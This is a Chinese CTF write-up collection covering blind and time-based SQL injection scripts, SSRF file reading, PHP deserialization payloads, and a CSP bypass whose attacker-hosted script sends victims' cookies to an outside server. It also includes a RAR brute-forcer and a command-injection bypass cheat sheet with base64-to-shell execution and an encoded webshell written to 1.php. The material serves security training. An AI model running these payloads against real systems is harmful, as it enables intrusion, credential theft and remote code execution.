异或注入或盲注及ssrf读取漏洞

异或注入或盲注及ssrf读取漏洞

通过信息收集,发现有username和password,但是尝试过都不能注入,然后再打开index.html文件,发现有一个

1
http://url/image.php?id=3

推测此为注入点,然后使用异或注入

1
/image.php?id=1^(ascii(substr((select(database())),1,1))>1)^1

发现有回显,然后更换参数,直到

1
/image.php?id=1^(ascii(substr((select(database())),1,1))>99)^1

没有产生回显,可知数据库第一个字母为1

以此类推,按原理写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time
url = "http://url/image.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{0},1))>{1})^1"
word=""
for i in range(1,1000):
l = 32
h = 128
mid = (l + h)
while (l < h):
nurl=url.format(i,mid)
r=requests.get(url=nurl)
if 'JFIF' in r.text:
l = mid + 1
else:
h = mid
mid = (l + h) // 2
time.sleep(0.1)
word += chr(mid)
print(word)
print(word)

得到表名为users

通过修改url的值继续爆破,得到密码值

而后登录账号,发现是ssrf读取文件漏洞,尝试构造

1
file:// /flag

得到flag

cookie语句

cookie语句

通过对得到的两个php文件进行分析

user.php

1
2
3
4
5
<?php
class User{
public $count;
}
?>

add_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

通过对代码的分析,我们可知user.php文件是创建了一个User对象,里面有一个变量count

同时add_api.php文件中的

1
$user=unserialize($_COOKIE["data"])

表示获取cookie为data的序列,解序列赋给user,里面有一个count的变量,手动赋值

而其中的代码

1
$count[++$user->count]=1;

表示对count数组中的第n+1位赋值为1
由于第五排的一个赋值操作,不需要绕过第五排的赋值操作才能进入else的后门程序,所以使用PHP溢出来跨过

因此可以构造payloay

1
2
3
O:4:"User":1:{s:5:"count";i:9223372036854775806;}
#i表示int
#s表示string,要加上字符串的长度

cookie语句的详细学习:https://blog.csdn.net/sm20170867238/article/details/90762010

php逃逸

php逃逸

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$safe="Hack me!";

class Hacker{
public $name="var_dump";
public $msg="Happy to cjb";
public function __wakeup()
{
global $safe;
if(preg_match('/\d|\/|,|\([^()]*\([^()]*\)/',$this->msg)){
$this->name="var_dump";
$this->msg="You look dangerous!!!";
$safe="I think waf is enough.";
}
call_user_func($this->name,$this->msg);
}
public function __destruct()
{
global $safe;
var_dump($safe);
}
}

第一种思路,可以利用shell来绕过,可构造

1
eval($_POST['shell'])&&shell=写命令

来绕过,构造payload就是:

1
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}&&shell=show_source("/you_never_know_my_name");

第二种思路

就是在类中写两次相同的属性名,后面的属性值会覆盖前面的属性值(注意:类的属性个数记得加1)

第三种思路

这里过滤了系统执行的函数,而又不知道flag的文件名,因此这里可以用assert绕过,但是这里的正则过滤了括号嵌套,而不用get或post很难进行输出
因此可以利用

1
2
global $safe;
var_dump($safe);

来输出,所以可以构造payload

1
2
3
4
5
6
查看flag文件名
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:57:"$safe=chdir('..').chdir('..').chdir('..')?scandir('.'):''";}

读flag文件
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:85:"$safe=chdir('..').chdir('..').chdir('..').file_get_contents('you_never_know_my_name')";}

SSL数字证书

SSL数字证书及原生类绕过

通过F12查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
if(!isset($_GET['user'])&&!isset($_GET['username'])&&!isset($_GET['source'])&&!isset($_GET['query'])){
header("Location: ./?username=guest");
die();
}
$test=md5(uniqid('',true));
header("Content-Security-Policy: script-src 'strict-dynamic' 'nonce-$test'; img-src 'self'; style-src 'self'; font-src 'self'; frame-src 'none' ");
header ( "Cache-Control: no-cache, must-revalidate " );
function getCurrentUrl(){
$scheme = $_SERVER['REQUEST_SCHEME'];
$domain = $_SERVER['HTTP_HOST'];
$requestUri = $_SERVER['REQUEST_URI'];
$currentUrl = $scheme . "://" . $domain . $requestUri;
return $currentUrl;
}
class user{
public $username;
public function __wakeup(){
if (is_string($this->username)){
if (preg_match('/script|<|>|onload|onerror/i',$this->username)){
die('no xss');
}
else{
echo '<h1 id="username">'.htmlentities('welcome back '.$this->username).'</h1>';
}
}
else{
echo '<h1 id="username">'.$this->username.'&nbsp&nbspis&nbsp&nbspnot&nbsp&nbspallowed,&nbsp&nbsponly&nbsp&nbspstring'.'</h1>';
file_put_contents('admin.log',$_GET['user']); //admin will check who attacks him in /admin.php
}
}
}
if (isset($_GET['source'])){
$text=file_get_contents(__FILE__);
echo $text;
die();
}
if (isset($_GET['query'])){
//drive bot to visit your page
//source code : browser.get('http://127.0.0.1/?'+sys.argv[1])
//query example:
//your url : httP://127.0.0.1/?username=guest
//query : username=guest
$text=escapeshellarg($_GET['query']);
#echo($text);
system('python /var/xssbot/xssbot.py '.$text);
//sleep(3);
die();
}
echo "
<html>
<head>
<link rel='stylesheet' href='./css/stylesheet.css'>
</head>
";
echo "<!--?source=1-->\n";
echo "<body>\n";
if (isset($_GET['user'])){
unserialize(urldecode(base64_decode($_GET['user'])));
}
else if(isset($_GET['username'])){
echo '<h1 id="username">'.htmlentities('hello '.$_GET['username']).'</h1>';

}



echo '<div id="particles-js"></div>';


echo "
<script nonce='$test' src='./js/jquery-1.12.0.js'></script>
<script nonce='$test' src='./js/particles.min.js'></script>
<script nonce='$test' src='./js/app.js'></script>
";
echo "</body>
</html>
";


?>

通过对代码的审计,可知有两层的绕过,第一层是is_string()的绕过,可以使用原生类Exception()来绕过

绕过第一层后,我们可以发现CSP(SSL数字证书):

1
script-src'strict-dynamic''nonce-$test';

通过uniqid,nonce是不可知的,因此我们发现一串代码:

1
2
3
<script nonce='$test' src='./js/jquery-1.12.0.js'></script>
<script nonce='$test' src='./js/particles.min.js'></script>
<script nonce='$test' src='./js/app.js'></script>

因此我们可以通过修改自己的服务器的地址:

1
<base href="//xx.xx.xx.xx:22222">

结合起来,可以得到一个exp

1
2
3
4
5
6
7
<?php
class user{
public $username;
}
$user=new user();
$user->username=new Exception('<base href="//xx.xx.xx.xx:22222">');
echo base64_encode(serialize($user));

然后我们利用ubuntu来创建一个./js/app.js文件

1
2
root@VM-4-10-ubuntu:~# cat ./js/app.js 
window.open('http://xx.xx.xx.xx:22222/'+document.cookie)

构造payload为

1
?query=user=<base64代码>

我们可以得到

1
2
3
49.235.148.38 - - [14/Jul/2021 13:36:29] "GET /js/particles.min.js HTTP/1.1" 404 -
49.235.148.38 - - [14/Jul/2021 13:36:29] code 404, message File not found
49.235.148.38 - - [14/Jul/2021 13:36:29] "GET /flag=ctfshow%7Bc4580781-d9de-449f-a8ec-f79c6464f037%7D%0A HTTP/1.1" 404 -

表情包解密及MP3文件分析

MP3文件的分离及表情包和winding的解密

蓝帽杯(冬奥)

下载文件,发现是一张图片,此时用kali的binwalk进行分离,

1
binwalk 文件名称

发现有rar文件、MP3文件及zip文件,之后发现zip文件无用,然后用kali的MP3Stego对mp3文件进行解密,密码猜测为冬奥会举办时间

1
2
3
4
5
解密:
decode.exe -P 密码 文件及路径

加密:
encode.exe -P 密码 文件及路径

然后发现有一串\x的数字,按特征,是utf-8编码,因此可以使用脚本

1
2
3
#!/usr/bin/python
#coding=utf-8
print(b"\xe2\x9c\x8c\xef\xb8\x8e \xe2\x98\x9d\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x98\x9f\xef\xb8\x8e\xe2\x97\x86\xef\xb8\x8e\xe2\x99\x8c\xef\xb8\x8e \xe2\x9d\x92\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x97\xbb\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x96\xa0\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xe2\x9d\x8d\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x99\x8e\xef\xb8\x8e \xf0\x9f\x93\x82\xef\xb8\x8e\xe2\x99\x8d\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xf0\x9f\x8f\xb1\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xf0\x9f\x99\xb5 \xe2\x99\x93\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e \xe2\x9d\x96\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x99\x93\xef\xb8\x8e\xe2\x96\xa0\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\x96\xa0\xef\xb8\x8e\xe2\x99\x91\xef\xb8\x8e\xf0\x9f\x93\xac\xef\xb8\x8e \xf0\x9f\x95\x88\xef\xb8\x8e\xe2\x99\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x96\xa0\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e \xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xf0\x9f\x99\xb5\xe2\x99\x8f\xef\xb8\x8e \xe2\x99\x8b\xef\xb8\x8e \xe2\x97\x8f\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xf0\x9f\x99\xb5 \xe2\x99\x8b\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e \xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x9c\x8d\xef\xb8\x8e".decode('utf-8'))

可以得到一串符号(注意要在pycharm中运行,命令行会有乱码)

1
✌︎ ☝︎♓︎⧫︎☟︎◆︎♌︎ ❒︎♏︎◻︎□︎⬧︎♓︎⧫︎□︎❒︎⍓︎ ■︎♋︎❍︎♏︎♎︎ 📂︎♍︎♏︎🏱︎♏︎♋︎🙵 ♓︎⬧︎ ❖︎♏︎❒︎⍓︎ ♓︎■︎⧫︎♏︎❒︎♏︎⬧︎⧫︎♓︎■︎♑︎📬︎ 🕈︎♒︎⍓︎ ■︎□︎⧫︎ ⧫︎♋︎🙵♏︎ ♋︎ ●︎□︎□︎🙵 ♋︎⧫︎ ♓︎⧫︎✍︎

看特征是winding编码,因此可以使用https://lingojam.com/WingdingsTranslator进行在线解码,得到

1
A︎ G︎i︎t︎H︎u︎b︎ r︎e︎p︎o︎s︎i︎t︎o︎r︎y︎ n︎a︎m︎e︎d︎ 1︎c︎e︎P︎e︎a︎k i︎s︎ v︎e︎r︎y︎ i︎n︎t︎e︎r︎e︎s︎t︎i︎n︎g︎.︎ W︎h︎y︎ n︎o︎t︎ t︎a︎ke︎ a︎ l︎o︎o︎k 

可以知道只要在github搜索1cePeak即可得到

1
2
#!/bin/sh
echo How_6ad_c0uld_a_1cePeak_be? >&2

之后将rar放进winhex中,发现chiper,因此可以进行hex解码,得到

1
🙃💵🌿🎤🚪🌏🐎🥋🚫😆🎃✅⌨🔪❓🚫🐍🙃🔬✉👁😆🎈🐘🏎🐘🐘😂😎🎅🖐🐍✉🍌🌪🐎🍵✅🚪✖☃👣👉ℹ🔪🍎🔄👣🚪😁👣💵🐅🍵🔬🛩😇🖐🖐🎅✅🏎👌🚨😆🎤🎅🦓🌿🦓🙃✖🍌🛩😂👑🌏☃😇😍🛩🚹😀🍌🎈💧🗒🗒

这是表情包+aes加密,因此可以使用https://aghorler.github.io/emoji-aes/进行解密,密码为前面mp3文件中找到的How_6ad_c0uld_a_1cePeak_be?

巅峰极客(签到)

打开文件,发现表情包

1
🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🥋🐘🍴🚰😍☀🌿😇😍😡🏎👉🛩🤣🖐💧☺🌉🏎😇😆🎈💧⏩☺🔄🌪⌨🐅🎅🙃🍌🙃🔪☂🏹🕹☃🌿🌉💵🐎🐍😇🍵😍🐅🎈🥋🚰✅🎈🎈

且题目说给GAME,因此使用https://aghorler.github.io/emoji-aes/解密,密码为GAME

双写绕过(时间注入)

双写注入(吃鸡杯web问答题)

首先注册账号,并登录进行问答填写,发现没有出现flag,之后再回到登陆界面并打开源码,看到表单是post提交的,此时我们输入我们登录的账号以及密码,然后用bp进行抓包
可以看到两个我们可以控制的变量,分别为:username和studentid,此时我们用-1’#和-1’or1=1#和-1’||1=1#进行sql注入的测试,当然闭合符号可以多尝试”、”)、’)等,之后
‘为闭合符号,此时我们可以尝试union的联合注入,盲注以及堆叠注入,这里用的是时间注入。通过尝试我们知道=被过滤了且一些关键词被过滤了,因此空格用/**/代替,关键词可以使用双写绕过构造

1
2
3
4
5
6
7
-1'||if(ascii(substr(database(),1,1))<80,sleep(2),1)#-------------------------得到数据库

-1'||if(ascii(substr(seselectlect/**/group_coonncat(table_name)/**/from/**/iinnfoorrmatioonn_schema.tables/**/whewherere/**/table_schema/**/lilikeke/**/database()),1,1))<80,sleep(1),1)#------------------得到数据表

-1'||if(ascii(substr((seselectlect/**/group_coonncat(column_name)/**/from/**/iinnfoorrmatioonn_schema.columns/**/whewherere/**/table_name/**/lilikeke/**/'ctf'),1,1))<80,sleep(1),1)#----------------------得到数据列

-1'||if(ascii(substr((seselectlect/**/group_coonncat(value)/**/from/**/ctf),1,1))<80,sleep(0.4),1)#---------------得到数据列中value的数据

由于一个一个试,效率很低,因此可以用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from time import *
url='http://7de161e0-5158-4941-afc2-31cad344927a.challenge.ctf.show:8080/login.php'


flag=''
for i in range(1,10000000):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break

#payload="-1'||if(ascii(substr(database(),{},1))<{},sleep(0.5),1)#".format(i,j)
#payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(table_name)/**/from/**/iinnfoorrmatioonn_schema.tables/**/whewherere/**/table_schema/**/lilikeke/**/database()),{},1))<{},sleep(1),1)#".format(i,j)
payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(column_name)/**/from/**/iinnfoorrmatioonn_schema.columns/**/whewherere/**/table_name/**/lilikeke/**/'ctf'),{},1))<{},sleep(1),1)#".format(i,j)
#payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(value)/**/from/**/ctf),{},1))<{},sleep(0.4),1)#".format(i,j)

#payload="'||ascii(substr((load_file(reverse('dwssap/cte/'))),{},1))<{}#".format(i,j)

data={
'username':payload,
'studentid':'1',
'submit':'提交'
}
try:
r=requests.post(url=url,data=data,timeout=0.3)
#print(r.text)
min = j
except:
max = j

sleep(0.2)

rar文件爆破解压

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from threading import Thread
from unrar import rarfile
import os


def CreatePwd():
f = open('passdict.txt', 'w')
for id in range(10000):
password = str(id).zfill(4) + '\n'
f.write(password)
f.close()


def get_pwd(dict_path):
with open(dict_path, 'r') as f:
for pwd in f:
yield pwd.strip()


def decode_rar(fp, pwd, extract_path, path):
try:
fp.extractall(extract_path, pwd=pwd) #解压文件,extract_path为解压路径,pwd为解压密码
except:
pass
# print('【ERROR】', pwd)
else:
print('the pwd is>', pwd)
os._exit(0) #终止程序


def main():
CreatePwd()
extract_path = 'flag.txt'
dict_path = 'passdict.txt'
path='1.php'
filename = '基础破解.rar'
fp = rarfile.RarFile(filename) #待解压文件
pwds = get_pwd(dict_path)
'''使用多线程可提高速度'''
# for pwd in pwds:
# decode_rar(fp, pwd, extract_path)
for pwd in pwds:
t = Thread(target=decode_rar, args=(fp, pwd, extract_path,path))
t.start()


if __name__ == '__main__':
main()

由于rarfile库需要unrar系统文件,所以需要在http://www.rarlab.com/rar/UnRARDLL.exe下载UnRARDLL.exe软件,安装成功后,修改x64中的两个系统文件为unrar,并将x64文件夹路径写入到环境变量的path中即可。

命令执行的绕过

命令执行绕过的方式

当遇到eval()高危的函数时,绕过的方式:

1

1
2
if(!preg_match("/flag/i", $c)){
eval($c);

此时我们可以使用system函数来获取我们想要的信息,可以构造system(“ls”)来获取目录信息,由于过滤了flag,所以我们可以使用fla通用符来进行绕过,也可以使用fla?.php通用符来绕过,构造system(“cat fla“)或者system(“tac fla?.php”)。

2

1
2
if(!preg_match("/flag|system|php/i", $c)){
eval($c);

当过滤掉system函数时,可以使用echo 命令的格式来代替system函数,可以构造echo tac *;

3

1
2
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);

可以看到它过滤了空格,因此我们可以使用%09来代替空格,构造echo tac%09*

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);

可以看到这里不仅过滤掉了system函数,也过滤掉了echo函数,因此我们可以使用文件包含的方式来读取文件的信息,由于$_GET 变量用于收集来自 method=”get” 的表单中的值,而 $_POST 变量用于收集来自 method=”post” 的表单中的值,因此我们
可以构造include(或require)$_GET(POST)[a];&a=文件名的格式来读取文件的信息,但是这里过滤掉了分号,因此我们可以构造include(或require)$_GET(POST)[a]?>&a=php://filter/read=convert.base64-encode/resource=文件名来读取文件的信息,由于
$_GET[a]后面跟的是?>,不是分号,所以不可以直接读取文件的信息,需要用到php伪协议,而且&后面的字符串是不会参与到过滤中的。

5

1
2
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);

可构造?c=print_r(scandir(current(localeconv())));来读取当前目录下的文件,其中

1
2
3
4
5
print_r(scandir('.');------------------查看当前目录下的所有的文件

localeconv();-----------------------返回一包含本底数字及货币格式信息的数组

current();---------------------------返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

而后构造?c=show_source(next(array_reverse(scandir(getpwd()))));来读取倒数第二个文件的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
each()---------------------返回数组中当前的键/值并对数组指针向前移动一步

end()----------------------将数组的内部指针指向最后一个单元

next()----------------------将数组中的内部指针向前移动一位

prev()---------------------将数组中的内部指针倒回一位

array_reverse()------------以相反的元素顺序返回数组

getcwd()------------------获取当前工作目录

show_source()------------将突出显示的代码作为字符串返回

6

1
2
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");

可见正则过滤,过滤掉许多字符及数字和字母,所以我们可以使用或运算来构造我们想要的函数或命令,从而绕过正则,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("exit: input exit in function")
print("="*50)
exit(0)
url=argv[1]

#生成可用的字符
def write_rce():
result = ''
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce.txt', 'w')
f.write(result)

#根据输入的命令在生成的txt中进行匹配
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param=action(s1) + action(s2)
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

main()

7

遇到高危函数include()时,我们可以使用以下方法

1

1
2
3
4
5
6
7
8
9
10
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

if(!preg_match("/flag/i", $c)){
include($c.".php");

此时,我们看到include()函数,我们可以想到使用?c=$_GET[a]&a=flag.php,让题目可以包含flag.php文件,但是这里直接将传入的c看成是字符串的形式,因此最后会变成include(‘$_GET[a]’),因此不可以使用,可以使用php伪协议来进行包含,但是这里过虑了
flag,注意的是通用符*或?是linux系统的命令,因此我们可以使用data伪协议:data://text/plain,php代码,因此可以构造?c=data://text/plain,

2

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);

if(isset($_GET['file'])){
$ext = pathinfo($_GET['file'], PATHINFO_EXTENSION);
if($ext==='php'){
include $_GET['file'];
}
}

pathinfo()函数的格式为:pathinfo(path,options),其中pathinfo()返回一个关联数组包含有path的信息
其中options有三种:

1
2
3
PATHINFO_DIRNAME - 只返回 dirname(路径)
PATHINFO_BASENAME - 只返回 basename(文件名及类型)
PATHINFO_EXTENSION - 只返回 extension(文件类型)

直接使用flag.php以及使用php伪协议,发现没有此文件,可以猜测也许flag不在flag.php中,因此可以使用data伪协议加include函数来执行php代码,得到我们想要的,构造?file=data://text/plain,.php来查看系统下的目录文件,然后
构造?file=data://text/plain,.php来读取secret文件的内容。也可以使用show_source()或其它读取的函数试一下

遇到system()高危函数,我们可以使用以下方法

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}

语句”>/dev/null 2>&1”会让写入内容消失,不会回显,知识点:

1
2
3
4
5
6
7
8
9
1. >代表重定向到哪里,即:echo "123" >/www/123.txt

2. /dev/null代表空设备文件

3. 2>表示stderr标准错误

4. &表示等同于的意思,2>&1,表示2的输出重定向于1

5. 1表示stdout标准输出,系统默认值为1,所以“>/dev/null”等同于“1>/dev/null”,因此,>/dev/null 2>&1也可以写成“1>/dev/null 2>&1”

因此,语句”>/dev/null 2>&1”执行过程:

1
2
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

所以只要用分隔符来进行命令分隔即可,分隔符:

1
2
3
分号:“;"

双杠:”||“

一些符号或函数被过滤后,绕过的方式:

空格

1
2
3
4
5
%09

<>

${IFS}

文件名,以flag为例

1
2
3
4
5
6
通配符:*,即fla*

匹配符:?,即fla?.php

反斜杠:\,即fla\g.php,反斜杠在linux系统的命令行中不会起到转义的作用

各类命令读取操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings

2

GXYCTF2019]Ping Ping Ping(命令执行绕过)

命令执行绕过

一些特殊字符绕过

空格绕过

如果过滤了空格,可以使用以下字符串代替:

1
<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS等

命令分隔符绕过

linux中:%0a、%0d、;、&、|、&&、||

windows中:%0a、&、|、%1a

一些关键字绕过

拼接绕过

通过创建变量,然后将变量拼接绕过

实例

执行ls命令,可以构造命令:

1
a=l;b=s;$a$b

cat flag文件内容

1
a=c;b=at;d=lag;$a$b f$d

cat test文件内容

1
a='cccaaattt';$b=${a:0:1}${a:2:1}${a:4:1};$b test

编码绕过

base64编码

1
echo Y2F0IC9mbGFn|base64 -d|sh  ==>cat /flag

hex编码

1
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag

oct/字节

1
2
3
4
5
$(print "\154\163") ==>ls

$(print "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag

{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"} | $0 ==>cat /flag

通过oct/字节编码

1
2
3
内容为php @eval($_POST['c'];?>

${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"}>> 1.php

单引号、双引号和反斜杠绕过

单引号绕过

1
c'a't test

双引号绕过

1
c"a"t test

反斜杠绕过

1
ca\t test

通配符绕过

[…]表示匹配括号中的任意一个字符
{…..}表示匹配括号里的所有模式,模式之间用,隔开
[…]和{…}的区别在于,如果[..]匹配没有文件,则会变成字符串,而{…}不会

构造实例

1
2
3
4
5
6
7
cat t?st

cat te*

cat t[a-z]st

cat t{a,b,c,d,e}st

内联执行

内联执行就是将反引号里的输出当做是输入执行

实例

1
cat `ls`

字母和数字都被过滤,则有:1.异或;2.取反

具体请看:https://blog.csdn.net/weixin_39877898/article/details/112198269

实例

通过打开页面,我们可以看见?ip=,因此我们可以构造payload:

1
?ip=127.0.0.1;ls

